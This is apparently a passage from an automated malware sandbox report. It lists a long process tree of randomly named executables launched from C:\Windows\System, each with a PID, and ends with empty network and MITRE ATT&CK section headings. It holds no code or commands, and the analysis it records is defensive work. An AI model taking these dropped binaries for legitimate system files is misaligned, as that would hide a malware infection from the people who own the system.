  C:\Windows\System\aNovZFg.exe
  2⤵
  PID:7500
- C:\Windows\System\bKyjexi.exe
  C:\Windows\System\bKyjexi.exe
  2⤵
  PID:7564
- C:\Windows\System\NcyXtvc.exe
  C:\Windows\System\NcyXtvc.exe
  2⤵
  PID:7644
- C:\Windows\System\FIQGEwv.exe
  C:\Windows\System\FIQGEwv.exe
  2⤵
  PID:7680
- C:\Windows\System\DCKFTaz.exe
  C:\Windows\System\DCKFTaz.exe
  2⤵
  PID:7744
- C:\Windows\System\CTigbue.exe
  C:\Windows\System\CTigbue.exe
  2⤵
  PID:7692
- C:\Windows\System\HGTLRCg.exe
  C:\Windows\System\HGTLRCg.exe
  2⤵
  PID:6456
- C:\Windows\System\PfOxjza.exe
  C:\Windows\System\PfOxjza.exe
  2⤵
  PID:7868
- C:\Windows\System\dyVwSpc.exe
  C:\Windows\System\dyVwSpc.exe
  2⤵
  PID:7932
- C:\Windows\System\xESZzfS.exe
  C:\Windows\System\xESZzfS.exe
  2⤵
  PID:7824
- C:\Windows\System\PxJSIyH.exe
  C:\Windows\System\PxJSIyH.exe
  2⤵
  PID:7916
- C:\Windows\System\fkheYtr.exe
  C:\Windows\System\fkheYtr.exe
  2⤵
  PID:7948
- C:\Windows\System\HbSwMLu.exe
  C:\Windows\System\HbSwMLu.exe
  2⤵
  PID:7980
- C:\Windows\System\VmtEKDn.exe
  C:\Windows\System\VmtEKDn.exe
  2⤵
  PID:8052
- C:\Windows\System\aGRDTiz.exe
  C:\Windows\System\aGRDTiz.exe
  2⤵
  PID:8080
- C:\Windows\System\gBJkFtQ.exe
  C:\Windows\System\gBJkFtQ.exe
  2⤵
  PID:8132
- C:\Windows\System\MIwzuXo.exe
  C:\Windows\System\MIwzuXo.exe
  2⤵
  PID:7428
- C:\Windows\System\mzBEbIp.exe
  C:\Windows\System\mzBEbIp.exe
  2⤵
  PID:7712
- C:\Windows\System\PDhXcmy.exe
  C:\Windows\System\PDhXcmy.exe
  2⤵
  PID:7804
- C:\Windows\System\usLXZlQ.exe
  C:\Windows\System\usLXZlQ.exe
  2⤵
  PID:7548
- C:\Windows\System\IbRWxEN.exe
  C:\Windows\System\IbRWxEN.exe
  2⤵
  PID:7352
- C:\Windows\System\wVKEnyX.exe
  C:\Windows\System\wVKEnyX.exe
  2⤵
  PID:7416
- C:\Windows\System\CccVQqV.exe
  C:\Windows\System\CccVQqV.exe
  2⤵
  PID:7480
- C:\Windows\System\rLpqKhl.exe
  C:\Windows\System\rLpqKhl.exe
  2⤵
  PID:7580
- C:\Windows\System\ZHnswSL.exe
  C:\Windows\System\ZHnswSL.exe
  2⤵
  PID:7632
- C:\Windows\System\cKxNCkn.exe
  C:\Windows\System\cKxNCkn.exe
  2⤵
  PID:7660
- C:\Windows\System\KPLpGKP.exe
  C:\Windows\System\KPLpGKP.exe
  2⤵
  PID:7852
- C:\Windows\System\CdeehCL.exe
  C:\Windows\System\CdeehCL.exe
  2⤵
  PID:8032
- C:\Windows\System\xcHKrbu.exe
  C:\Windows\System\xcHKrbu.exe
  2⤵
  PID:8128
- C:\Windows\System\TpHHGlj.exe
  C:\Windows\System\TpHHGlj.exe
  2⤵
  PID:8068
- C:\Windows\System\VCKXzSl.exe
  C:\Windows\System\VCKXzSl.exe
  2⤵
  PID:6460
- C:\Windows\System\rxWdxMv.exe
  C:\Windows\System\rxWdxMv.exe
  2⤵
  PID:7904
- C:\Windows\System\NBSUPYc.exe
  C:\Windows\System\NBSUPYc.exe
  2⤵
  PID:8000
- C:\Windows\System\ViYLocG.exe
  C:\Windows\System\ViYLocG.exe
  2⤵
  PID:8144
- C:\Windows\System\OtFCRdi.exe
  C:\Windows\System\OtFCRdi.exe
  2⤵
  PID:7316
- C:\Windows\System\iEJDLRT.exe
  C:\Windows\System\iEJDLRT.exe
  2⤵
  PID:7400
- C:\Windows\System\SybAtXl.exe
  C:\Windows\System\SybAtXl.exe
  2⤵
  PID:7192
- C:\Windows\System\qPTMCDO.exe
  C:\Windows\System\qPTMCDO.exe
  2⤵
  PID:7384
- C:\Windows\System\UuULuue.exe
  C:\Windows\System\UuULuue.exe
  2⤵
  PID:7364
- C:\Windows\System\jfSATRd.exe
  C:\Windows\System\jfSATRd.exe
  2⤵
  PID:7664
- C:\Windows\System\EDDNOAk.exe
  C:\Windows\System\EDDNOAk.exe
  2⤵
  PID:7676
- C:\Windows\System\HVbiIYa.exe
  C:\Windows\System\HVbiIYa.exe
  2⤵
  PID:8012
- C:\Windows\System\hpLubSF.exe
  C:\Windows\System\hpLubSF.exe
  2⤵
  PID:8164
- C:\Windows\System\uxfDtAs.exe
  C:\Windows\System\uxfDtAs.exe
  2⤵
  PID:7596
- C:\Windows\System\hwLEHCQ.exe
  C:\Windows\System\hwLEHCQ.exe
  2⤵
  PID:8148
- C:\Windows\System\TygWUuh.exe
  C:\Windows\System\TygWUuh.exe
  2⤵
  PID:7240
- C:\Windows\System\zuSkkMy.exe
  C:\Windows\System\zuSkkMy.exe
  2⤵
  PID:7628
- C:\Windows\System\DaZMNHi.exe
  C:\Windows\System\DaZMNHi.exe
  2⤵
  PID:7544
- C:\Windows\System\AZqEkRa.exe
  C:\Windows\System\AZqEkRa.exe
  2⤵
  PID:7788
- C:\Windows\System\WalPtoN.exe
  C:\Windows\System\WalPtoN.exe
  2⤵
  PID:7092
- C:\Windows\System\SBGByzC.exe
  C:\Windows\System\SBGByzC.exe
  2⤵
  PID:7300
- C:\Windows\System\vkdGHRe.exe
  C:\Windows\System\vkdGHRe.exe
  2⤵
  PID:7348
- C:\Windows\System\TlXEAmJ.exe
  C:\Windows\System\TlXEAmJ.exe
  2⤵
  PID:7836
- C:\Windows\System\yowODXp.exe
  C:\Windows\System\yowODXp.exe
  2⤵
  PID:8196
- C:\Windows\System\XEbtpIF.exe
  C:\Windows\System\XEbtpIF.exe
  2⤵
  PID:8212
- C:\Windows\System\WRkqIbT.exe
  C:\Windows\System\WRkqIbT.exe
  2⤵
  PID:8228
- C:\Windows\System\TEDNVYd.exe
  C:\Windows\System\TEDNVYd.exe
  2⤵
  PID:8244
- C:\Windows\System\NpiZyld.exe
  C:\Windows\System\NpiZyld.exe
  2⤵
  PID:8260
- C:\Windows\System\TfjLIkF.exe
  C:\Windows\System\TfjLIkF.exe
  2⤵
  PID:8280
- C:\Windows\System\qaZTGkC.exe
  C:\Windows\System\qaZTGkC.exe
  2⤵
  PID:8296
- C:\Windows\System\RRIDQgl.exe
  C:\Windows\System\RRIDQgl.exe
  2⤵
  PID:8312
- C:\Windows\System\yMbodCO.exe
  C:\Windows\System\yMbodCO.exe
  2⤵
  PID:8328
- C:\Windows\System\dvLFKCl.exe
  C:\Windows\System\dvLFKCl.exe
  2⤵
  PID:8344
- C:\Windows\System\wYAOizv.exe
  C:\Windows\System\wYAOizv.exe
  2⤵
  PID:8360
- C:\Windows\System\SyncIoX.exe
  C:\Windows\System\SyncIoX.exe
  2⤵
  PID:8376
- C:\Windows\System\Fcxorld.exe
  C:\Windows\System\Fcxorld.exe
  2⤵
  PID:8392
- C:\Windows\System\FkNMeOJ.exe
  C:\Windows\System\FkNMeOJ.exe
  2⤵
  PID:8408
- C:\Windows\System\TCpIFqY.exe
  C:\Windows\System\TCpIFqY.exe
  2⤵
  PID:8424
- C:\Windows\System\jNAsWMF.exe
  C:\Windows\System\jNAsWMF.exe
  2⤵
  PID:8440
- C:\Windows\System\VfBtiDq.exe
  C:\Windows\System\VfBtiDq.exe
  2⤵
  PID:8456
- C:\Windows\System\HbCUnib.exe
  C:\Windows\System\HbCUnib.exe
  2⤵
  PID:8472
- C:\Windows\System\qvEqYnY.exe
  C:\Windows\System\qvEqYnY.exe
  2⤵
  PID:8488
- C:\Windows\System\qwDwQMw.exe
  C:\Windows\System\qwDwQMw.exe
  2⤵
  PID:8504
- C:\Windows\System\RRnstxA.exe
  C:\Windows\System\RRnstxA.exe
  2⤵
  PID:8520
- C:\Windows\System\fFmzsvL.exe
  C:\Windows\System\fFmzsvL.exe
  2⤵
  PID:8536
- C:\Windows\System\bmbqOVm.exe
  C:\Windows\System\bmbqOVm.exe
  2⤵
  PID:8552
- C:\Windows\System\ucLMxxL.exe
  C:\Windows\System\ucLMxxL.exe
  2⤵
  PID:8568
- C:\Windows\System\vsewesM.exe
  C:\Windows\System\vsewesM.exe
  2⤵
  PID:8584
- C:\Windows\System\mjEgBbj.exe
  C:\Windows\System\mjEgBbj.exe
  2⤵
  PID:8600
- C:\Windows\System\jVNGFrV.exe
  C:\Windows\System\jVNGFrV.exe
  2⤵
  PID:8616
- C:\Windows\System\nNFuwzs.exe
  C:\Windows\System\nNFuwzs.exe
  2⤵
  PID:8640
- C:\Windows\System\RswLHlm.exe
  C:\Windows\System\RswLHlm.exe
  2⤵
  PID:8668
- C:\Windows\System\FTxxvFf.exe
  C:\Windows\System\FTxxvFf.exe
  2⤵
  PID:8684
- C:\Windows\System\COUHiUb.exe
  C:\Windows\System\COUHiUb.exe
  2⤵
  PID:8700
- C:\Windows\System\cmupyao.exe
  C:\Windows\System\cmupyao.exe
  2⤵
  PID:8716
- C:\Windows\System\BodWWXy.exe
  C:\Windows\System\BodWWXy.exe
  2⤵
  PID:8732
- C:\Windows\System\cyEETcy.exe
  C:\Windows\System\cyEETcy.exe
  2⤵
  PID:8752
- C:\Windows\System\qhDCSMl.exe
  C:\Windows\System\qhDCSMl.exe
  2⤵
  PID:8768
- C:\Windows\System\GsXRmBS.exe
  C:\Windows\System\GsXRmBS.exe
  2⤵
  PID:8784
- C:\Windows\System\oaxhMFX.exe
  C:\Windows\System\oaxhMFX.exe
  2⤵
  PID:8804
- C:\Windows\System\tIGYRMP.exe
  C:\Windows\System\tIGYRMP.exe
  2⤵
  PID:8820
- C:\Windows\System\EwEVkQh.exe
  C:\Windows\System\EwEVkQh.exe
  2⤵
  PID:8836
- C:\Windows\System\TPamuQw.exe
  C:\Windows\System\TPamuQw.exe
  2⤵
  PID:8852
- C:\Windows\System\locuyQJ.exe
  C:\Windows\System\locuyQJ.exe
  2⤵
  PID:8868
- C:\Windows\System\NCeDrxa.exe
  C:\Windows\System\NCeDrxa.exe
  2⤵
  PID:8884
- C:\Windows\System\MvifpuL.exe
  C:\Windows\System\MvifpuL.exe
  2⤵
  PID:8900
- C:\Windows\System\KgHTNju.exe
  C:\Windows\System\KgHTNju.exe
  2⤵
  PID:8916
- C:\Windows\System\XubgSsX.exe
  C:\Windows\System\XubgSsX.exe
  2⤵
  PID:8932
- C:\Windows\System\pKRCjOw.exe
  C:\Windows\System\pKRCjOw.exe
  2⤵
  PID:8948
- C:\Windows\System\lkPqBTO.exe
  C:\Windows\System\lkPqBTO.exe
  2⤵
  PID:8964
- C:\Windows\System\RlNqDaP.exe
  C:\Windows\System\RlNqDaP.exe
  2⤵
  PID:8980
- C:\Windows\System\PPYnwoB.exe
  C:\Windows\System\PPYnwoB.exe
  2⤵
  PID:8996
- C:\Windows\System\GnPbPAZ.exe
  C:\Windows\System\GnPbPAZ.exe
  2⤵
  PID:9012
- C:\Windows\System\KcFBPLI.exe
  C:\Windows\System\KcFBPLI.exe
  2⤵
  PID:9028
- C:\Windows\System\dupRMpk.exe
  C:\Windows\System\dupRMpk.exe
  2⤵
  PID:9044
- C:\Windows\System\JObMCbc.exe
  C:\Windows\System\JObMCbc.exe
  2⤵
  PID:9060
- C:\Windows\System\GxVZLvE.exe
  C:\Windows\System\GxVZLvE.exe
  2⤵
  PID:9076
- C:\Windows\System\BXvrSin.exe
  C:\Windows\System\BXvrSin.exe
  2⤵
  PID:9092
- C:\Windows\System\MEZkSck.exe
  C:\Windows\System\MEZkSck.exe
  2⤵
  PID:9108
- C:\Windows\System\cRpydRa.exe
  C:\Windows\System\cRpydRa.exe
  2⤵
  PID:9124
- C:\Windows\System\MOKiUzE.exe
  C:\Windows\System\MOKiUzE.exe
  2⤵
  PID:9140
- C:\Windows\System\QhknoVm.exe
  C:\Windows\System\QhknoVm.exe
  2⤵
  PID:9156
- C:\Windows\System\oxNJtlJ.exe
  C:\Windows\System\oxNJtlJ.exe
  2⤵
  PID:9172
- C:\Windows\System\tiUnzYg.exe
  C:\Windows\System\tiUnzYg.exe
  2⤵
  PID:9188
- C:\Windows\System\kyemWQk.exe
  C:\Windows\System\kyemWQk.exe
  2⤵
  PID:9204
- C:\Windows\System\fpLGGHT.exe
  C:\Windows\System\fpLGGHT.exe
  2⤵
  PID:8112
- C:\Windows\System\xQDaWdg.exe
  C:\Windows\System\xQDaWdg.exe
  2⤵
  PID:8048
- C:\Windows\System\ViZZdkb.exe
  C:\Windows\System\ViZZdkb.exe
  2⤵
  PID:8220
- C:\Windows\System\XOqjPLj.exe
  C:\Windows\System\XOqjPLj.exe
  2⤵
  PID:8236
- C:\Windows\System\dcOGcww.exe
  C:\Windows\System\dcOGcww.exe
  2⤵
  PID:8320
- C:\Windows\System\GrupkpW.exe
  C:\Windows\System\GrupkpW.exe
  2⤵
  PID:8352
- C:\Windows\System\smxwnoU.exe
  C:\Windows\System\smxwnoU.exe
  2⤵
  PID:8368
- C:\Windows\System\EDHoBqM.exe
  C:\Windows\System\EDHoBqM.exe
  2⤵
  PID:8420
- C:\Windows\System\GNKlgPw.exe
  C:\Windows\System\GNKlgPw.exe
  2⤵
  PID:8448
- C:\Windows\System\cSkDxJV.exe
  C:\Windows\System\cSkDxJV.exe
  2⤵
  PID:8468
- C:\Windows\System\UNQulPV.exe
  C:\Windows\System\UNQulPV.exe
  2⤵
  PID:8500
- C:\Windows\System\ldtOzAj.exe
  C:\Windows\System\ldtOzAj.exe
  2⤵
  PID:8576
- C:\Windows\System\DKGUVtO.exe
  C:\Windows\System\DKGUVtO.exe
  2⤵
  PID:8560
- C:\Windows\System\MtOJVAw.exe
  C:\Windows\System\MtOJVAw.exe
  2⤵
  PID:8596
- C:\Windows\System\biWLGsc.exe
  C:\Windows\System\biWLGsc.exe
  2⤵
  PID:8628
- C:\Windows\System\vDEpdth.exe
  C:\Windows\System\vDEpdth.exe
  2⤵
  PID:8728
- C:\Windows\System\jpgERbF.exe
  C:\Windows\System\jpgERbF.exe
  2⤵
  PID:8792
- C:\Windows\System\cpVZclz.exe
  C:\Windows\System\cpVZclz.exe
  2⤵
  PID:8828
- C:\Windows\System\IKgyaFM.exe
  C:\Windows\System\IKgyaFM.exe
  2⤵
  PID:8712
- C:\Windows\System\fEnjwha.exe
  C:\Windows\System\fEnjwha.exe
  2⤵
  PID:8848
- C:\Windows\System\ZuDLlcx.exe
  C:\Windows\System\ZuDLlcx.exe
  2⤵
  PID:8288
- C:\Windows\System\TNtcSnd.exe
  C:\Windows\System\TNtcSnd.exe
  2⤵
  PID:7476
- C:\Windows\System\fryFzJm.exe
  C:\Windows\System\fryFzJm.exe
  2⤵
  PID:8304
- C:\Windows\System\xAWsWAt.exe
  C:\Windows\System\xAWsWAt.exe
  2⤵
  PID:8432
- C:\Windows\System\EsrQzgK.exe
  C:\Windows\System\EsrQzgK.exe
  2⤵
  PID:8480
- C:\Windows\System\rmOxCOF.exe
  C:\Windows\System\rmOxCOF.exe
  2⤵
  PID:8592
- C:\Windows\System\rldnUBf.exe
  C:\Windows\System\rldnUBf.exe
  2⤵
  PID:8660
- C:\Windows\System\EuVajVs.exe
  C:\Windows\System\EuVajVs.exe
  2⤵
  PID:8608
- C:\Windows\System\ObZvaew.exe
  C:\Windows\System\ObZvaew.exe
  2⤵
  PID:8544
- C:\Windows\System\pZWNjUO.exe
  C:\Windows\System\pZWNjUO.exe
  2⤵
  PID:8764
- C:\Windows\System\ljsLiwb.exe
  C:\Windows\System\ljsLiwb.exe
  2⤵
  PID:8708
- C:\Windows\System\ueFyLQt.exe
  C:\Windows\System\ueFyLQt.exe
  2⤵
  PID:8928
- C:\Windows\System\LhDEKxj.exe
  C:\Windows\System\LhDEKxj.exe
  2⤵
  PID:9056
- C:\Windows\System\aRdDLaz.exe
  C:\Windows\System\aRdDLaz.exe
  2⤵
  PID:8992
- C:\Windows\System\JeDrqTe.exe
  C:\Windows\System\JeDrqTe.exe
  2⤵
  PID:9196
- C:\Windows\System\WYuNNpN.exe
  C:\Windows\System\WYuNNpN.exe
  2⤵
  PID:9152
- C:\Windows\System\FmBCDPr.exe
  C:\Windows\System\FmBCDPr.exe
  2⤵
  PID:9180
- C:\Windows\System\VdeVepv.exe
  C:\Windows\System\VdeVepv.exe
  2⤵
  PID:7496
- C:\Windows\System\GbCGMtW.exe
  C:\Windows\System\GbCGMtW.exe
  2⤵
  PID:9164
- C:\Windows\System\oTUbJGi.exe
  C:\Windows\System\oTUbJGi.exe
  2⤵
  PID:8740
- C:\Windows\System\cQVRxlX.exe
  C:\Windows\System\cQVRxlX.exe
  2⤵
  PID:9104
- C:\Windows\System\DDOmRrK.exe
  C:\Windows\System\DDOmRrK.exe
  2⤵
  PID:9200
- C:\Windows\System\KbpQqju.exe
  C:\Windows\System\KbpQqju.exe
  2⤵
  PID:2596
- C:\Windows\System\JDFJOmq.exe
  C:\Windows\System\JDFJOmq.exe
  2⤵
  PID:8532
- C:\Windows\System\soKDKcd.exe
  C:\Windows\System\soKDKcd.exe
  2⤵
  PID:8924
- C:\Windows\System\SvBqFPr.exe
  C:\Windows\System\SvBqFPr.exe
  2⤵
  PID:8252
- C:\Windows\System\ujNsTmo.exe
  C:\Windows\System\ujNsTmo.exe
  2⤵
  PID:8944
- C:\Windows\System\DjoTeDI.exe
  C:\Windows\System\DjoTeDI.exe
  2⤵
  PID:8512
- C:\Windows\System\tdMmHbu.exe
  C:\Windows\System\tdMmHbu.exe
  2⤵
  PID:8664
- C:\Windows\System\sKYWQsN.exe
  C:\Windows\System\sKYWQsN.exe
  2⤵
  PID:9072
- C:\Windows\System\fVVCCaH.exe
  C:\Windows\System\fVVCCaH.exe
  2⤵
  PID:8384
- C:\Windows\System\dBTscQA.exe
  C:\Windows\System\dBTscQA.exe
  2⤵
  PID:8388
- C:\Windows\System\TRMGOPS.exe
  C:\Windows\System\TRMGOPS.exe
  2⤵
  PID:8692
- C:\Windows\System\dQQoivn.exe
  C:\Windows\System\dQQoivn.exe
  2⤵
  PID:9024
- C:\Windows\System\FIRzPhG.exe
  C:\Windows\System\FIRzPhG.exe
  2⤵
  PID:8416
- C:\Windows\System\LzkMbUJ.exe
  C:\Windows\System\LzkMbUJ.exe
  2⤵
  PID:8892
- C:\Windows\System\AOGQveK.exe
  C:\Windows\System\AOGQveK.exe
  2⤵
  PID:9132
- C:\Windows\System\pImGkgE.exe
  C:\Windows\System\pImGkgE.exe
  2⤵
  PID:8960
- C:\Windows\System\AHwZPVa.exe
  C:\Windows\System\AHwZPVa.exe
  2⤵
  PID:8972
- C:\Windows\System\AHKhXtI.exe
  C:\Windows\System\AHKhXtI.exe
  2⤵
  PID:9288
- C:\Windows\System\oAZWyfW.exe
  C:\Windows\System\oAZWyfW.exe
  2⤵
  PID:9308
- C:\Windows\System\VnKDErn.exe
  C:\Windows\System\VnKDErn.exe
  2⤵
  PID:9324
- C:\Windows\System\wazsKyA.exe
  C:\Windows\System\wazsKyA.exe
  2⤵
  PID:9340
- C:\Windows\System\gODoPch.exe
  C:\Windows\System\gODoPch.exe
  2⤵
  PID:9360
- C:\Windows\System\lIlWWnL.exe
  C:\Windows\System\lIlWWnL.exe
  2⤵
  PID:9392
- C:\Windows\System\uHNYnRD.exe
  C:\Windows\System\uHNYnRD.exe
  2⤵
  PID:9408
- C:\Windows\System\xELiBxO.exe
  C:\Windows\System\xELiBxO.exe
  2⤵
  PID:9428
- C:\Windows\System\YegtalM.exe
  C:\Windows\System\YegtalM.exe
  2⤵
  PID:9452
- C:\Windows\System\FhSFEnA.exe
  C:\Windows\System\FhSFEnA.exe
  2⤵
  PID:9516
- C:\Windows\System\sjhXnVU.exe
  C:\Windows\System\sjhXnVU.exe
  2⤵
  PID:9532
- C:\Windows\System\oiooIAl.exe
  C:\Windows\System\oiooIAl.exe
  2⤵
  PID:9548
- C:\Windows\System\UJZZRxq.exe
  C:\Windows\System\UJZZRxq.exe
  2⤵
  PID:9568
- C:\Windows\System\EZJsRAV.exe
  C:\Windows\System\EZJsRAV.exe
  2⤵
  PID:9584
- C:\Windows\System\FNBwWhX.exe
  C:\Windows\System\FNBwWhX.exe
  2⤵
  PID:9600
- C:\Windows\System\WYNQgEi.exe
  C:\Windows\System\WYNQgEi.exe
  2⤵
  PID:9624
- C:\Windows\System\JCEPJDj.exe
  C:\Windows\System\JCEPJDj.exe
  2⤵
  PID:9640
- C:\Windows\System\qjaSjUT.exe
  C:\Windows\System\qjaSjUT.exe
  2⤵
  PID:9656
- C:\Windows\System\DltPxyX.exe
  C:\Windows\System\DltPxyX.exe
  2⤵
  PID:9724
- C:\Windows\System\NtAZUse.exe
  C:\Windows\System\NtAZUse.exe
  2⤵
  PID:9744
- C:\Windows\System\DoyBECj.exe
  C:\Windows\System\DoyBECj.exe
  2⤵
  PID:9764
- C:\Windows\System\aKoQtAG.exe
  C:\Windows\System\aKoQtAG.exe
  2⤵
  PID:9780
- C:\Windows\System\JfDfLnx.exe
  C:\Windows\System\JfDfLnx.exe
  2⤵
  PID:9796
- C:\Windows\System\NtXHQHx.exe
  C:\Windows\System\NtXHQHx.exe
  2⤵
  PID:9816
- C:\Windows\System\KsybEqM.exe
  C:\Windows\System\KsybEqM.exe
  2⤵
  PID:9832
- C:\Windows\System\iIsXRIZ.exe
  C:\Windows\System\iIsXRIZ.exe
  2⤵
  PID:9848
- C:\Windows\System\pBvbMUF.exe
  C:\Windows\System\pBvbMUF.exe
  2⤵
  PID:9872
- C:\Windows\System\PdTJhxF.exe
  C:\Windows\System\PdTJhxF.exe
  2⤵
  PID:9888
- C:\Windows\System\qHBYbRl.exe
  C:\Windows\System\qHBYbRl.exe
  2⤵
  PID:9908
- C:\Windows\System\EFzIhSD.exe
  C:\Windows\System\EFzIhSD.exe
  2⤵
  PID:9924
- C:\Windows\System\DMPCWzk.exe
  C:\Windows\System\DMPCWzk.exe
  2⤵
  PID:9940
- C:\Windows\System\yJxWnnE.exe
  C:\Windows\System\yJxWnnE.exe
  2⤵
  PID:9956
- C:\Windows\System\LsdzMha.exe
  C:\Windows\System\LsdzMha.exe
  2⤵
  PID:9972
- C:\Windows\System\qfAQzGJ.exe
  C:\Windows\System\qfAQzGJ.exe
  2⤵
  PID:9988
- C:\Windows\System\uyDVRKg.exe
  C:\Windows\System\uyDVRKg.exe
  2⤵
  PID:10008
- C:\Windows\System\ujKHIIO.exe
  C:\Windows\System\ujKHIIO.exe
  2⤵
  PID:10024
- C:\Windows\System\lEvfBti.exe
  C:\Windows\System\lEvfBti.exe
  2⤵
  PID:10040
- C:\Windows\System\oBGiztP.exe
  C:\Windows\System\oBGiztP.exe
  2⤵
  PID:10056
- C:\Windows\System\oqSQEJG.exe
  C:\Windows\System\oqSQEJG.exe
  2⤵
  PID:10076
- C:\Windows\System\uXKbmsn.exe
  C:\Windows\System\uXKbmsn.exe
  2⤵
  PID:10092
- C:\Windows\System\blLVpfT.exe
  C:\Windows\System\blLVpfT.exe
  2⤵
  PID:10108
- C:\Windows\System\woBRCpn.exe
  C:\Windows\System\woBRCpn.exe
  2⤵
  PID:10124
- C:\Windows\System\JseYUsB.exe
  C:\Windows\System\JseYUsB.exe
  2⤵
  PID:10140
- C:\Windows\System\RZvVuEa.exe
  C:\Windows\System\RZvVuEa.exe
  2⤵
  PID:10156
- C:\Windows\System\olHbOAJ.exe
  C:\Windows\System\olHbOAJ.exe
  2⤵
  PID:10172
- C:\Windows\System\HclNyhk.exe
  C:\Windows\System\HclNyhk.exe
  2⤵
  PID:10188
- C:\Windows\System\rnGGUYo.exe
  C:\Windows\System\rnGGUYo.exe
  2⤵
  PID:10204
- C:\Windows\System\jUKksiS.exe
  C:\Windows\System\jUKksiS.exe
  2⤵
  PID:10224
- C:\Windows\System\QAHAdKZ.exe
  C:\Windows\System\QAHAdKZ.exe
  2⤵
  PID:8748
- C:\Windows\System\OceZxAB.exe
  C:\Windows\System\OceZxAB.exe
  2⤵
  PID:8832
- C:\Windows\System\ekeNrzp.exe
  C:\Windows\System\ekeNrzp.exe
  2⤵
  PID:8864
- C:\Windows\System\wOHbThr.exe
  C:\Windows\System\wOHbThr.exe
  2⤵
  PID:9260
- C:\Windows\System\OjecktV.exe
  C:\Windows\System\OjecktV.exe
  2⤵
  PID:9252
- C:\Windows\System\NXyLlBs.exe
  C:\Windows\System\NXyLlBs.exe
  2⤵
  PID:9268
- C:\Windows\System\aqmRCFb.exe
  C:\Windows\System\aqmRCFb.exe
  2⤵
  PID:9008
- C:\Windows\System\efqbIvQ.exe
  C:\Windows\System\efqbIvQ.exe
  2⤵
  PID:9356
- C:\Windows\System\IrXmhiW.exe
  C:\Windows\System\IrXmhiW.exe
  2⤵
  PID:9212
- C:\Windows\System\MpGXuGI.exe
  C:\Windows\System\MpGXuGI.exe
  2⤵
  PID:9336
- C:\Windows\System\GytwEpV.exe
  C:\Windows\System\GytwEpV.exe
  2⤵
  PID:9384
- C:\Windows\System\iTvOtqw.exe
  C:\Windows\System\iTvOtqw.exe
  2⤵
  PID:9424
- C:\Windows\System\tdvaSdG.exe
  C:\Windows\System\tdvaSdG.exe
  2⤵
  PID:8308
- C:\Windows\System\bZcOhHs.exe
  C:\Windows\System\bZcOhHs.exe
  2⤵
  PID:9320
- C:\Windows\System\nDCMSBl.exe
  C:\Windows\System\nDCMSBl.exe
  2⤵
  PID:9404
- C:\Windows\System\FURioKt.exe
  C:\Windows\System\FURioKt.exe
  2⤵
  PID:9448
- C:\Windows\System\Pnscoop.exe
  C:\Windows\System\Pnscoop.exe
  2⤵
  PID:9480
- C:\Windows\System\LyMftJF.exe
  C:\Windows\System\LyMftJF.exe
  2⤵
  PID:9592
- C:\Windows\System\yUiKElK.exe
  C:\Windows\System\yUiKElK.exe
  2⤵
  PID:9564
- C:\Windows\System\wBDNjEK.exe
  C:\Windows\System\wBDNjEK.exe
  2⤵
  PID:9676
- C:\Windows\System\LglsYbW.exe
  C:\Windows\System\LglsYbW.exe
  2⤵
  PID:9712
- C:\Windows\System\GglEVjO.exe
  C:\Windows\System\GglEVjO.exe
  2⤵
  PID:9732
- C:\Windows\System\jeyWrHd.exe
  C:\Windows\System\jeyWrHd.exe
  2⤵
  PID:9856
- C:\Windows\System\LTCQpKk.exe
  C:\Windows\System\LTCQpKk.exe
  2⤵
  PID:9812
- C:\Windows\System\RWaAETB.exe
  C:\Windows\System\RWaAETB.exe
  2⤵
  PID:9864
- C:\Windows\System\LhxVpiI.exe
  C:\Windows\System\LhxVpiI.exe
  2⤵
  PID:9936
- C:\Windows\System\lMgVClr.exe
  C:\Windows\System\lMgVClr.exe
  2⤵
  PID:8696
- C:\Windows\System\HnRZczl.exe
  C:\Windows\System\HnRZczl.exe
  2⤵
  PID:9948
- C:\Windows\System\PazmhdA.exe
  C:\Windows\System\PazmhdA.exe
  2⤵
  PID:10000
- C:\Windows\System\RAhvQdW.exe
  C:\Windows\System\RAhvQdW.exe
  2⤵
  PID:9984
- C:\Windows\System\RnCeoce.exe
  C:\Windows\System\RnCeoce.exe
  2⤵
  PID:10104
- C:\Windows\System\EfPZwUU.exe
  C:\Windows\System\EfPZwUU.exe
  2⤵
  PID:10132
- C:\Windows\System\RROZmSC.exe
  C:\Windows\System\RROZmSC.exe
  2⤵
  PID:10016
- C:\Windows\System\STJvqFs.exe
  C:\Windows\System\STJvqFs.exe
  2⤵
  PID:10052
- C:\Windows\System\nwiJfGK.exe
  C:\Windows\System\nwiJfGK.exe
  2⤵
  PID:8724
- C:\Windows\System\dBTlZFO.exe
  C:\Windows\System\dBTlZFO.exe
  2⤵
  PID:10148
- C:\Windows\System\ZAJsbQU.exe
  C:\Windows\System\ZAJsbQU.exe
  2⤵
  PID:9860
- C:\Windows\System\ZDcoBWY.exe
  C:\Windows\System\ZDcoBWY.exe
  2⤵
  PID:9372
- C:\Windows\System\hkyERiI.exe
  C:\Windows\System\hkyERiI.exe
  2⤵
  PID:9264
- C:\Windows\System\gQoUjgY.exe
  C:\Windows\System\gQoUjgY.exe
  2⤵
  PID:9148
- C:\Windows\System\nMCjcER.exe
  C:\Windows\System\nMCjcER.exe
  2⤵
  PID:9376
- C:\Windows\System\Nuehalr.exe
  C:\Windows\System\Nuehalr.exe
  2⤵
  PID:9420
- C:\Windows\System\tgCzsaL.exe
  C:\Windows\System\tgCzsaL.exe
  2⤵
  PID:9444
- C:\Windows\System\oFYRJbz.exe
  C:\Windows\System\oFYRJbz.exe
  2⤵
  PID:9508
- C:\Windows\System\BrhuqhA.exe
  C:\Windows\System\BrhuqhA.exe
  2⤵
  PID:9496
- C:\Windows\System\yMDIwES.exe
  C:\Windows\System\yMDIwES.exe
  2⤵
  PID:9664
- C:\Windows\System\tldRuKz.exe
  C:\Windows\System\tldRuKz.exe
  2⤵
  PID:9684
- C:\Windows\System\eZCwPvB.exe
  C:\Windows\System\eZCwPvB.exe
  2⤵
  PID:9492
- C:\Windows\System\gQSDnhB.exe
  C:\Windows\System\gQSDnhB.exe
  2⤵
  PID:9668
- C:\Windows\System\rglaxgj.exe
  C:\Windows\System\rglaxgj.exe
  2⤵
  PID:10100
- C:\Windows\System\slrQeLx.exe
  C:\Windows\System\slrQeLx.exe
  2⤵
  PID:10220
- C:\Windows\System\GjysaJy.exe
  C:\Windows\System\GjysaJy.exe
  2⤵
  PID:9248
- C:\Windows\System\kVazgMW.exe
  C:\Windows\System\kVazgMW.exe
  2⤵
  PID:9380
- C:\Windows\System\flFCCfe.exe
  C:\Windows\System\flFCCfe.exe
  2⤵
  PID:9296

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

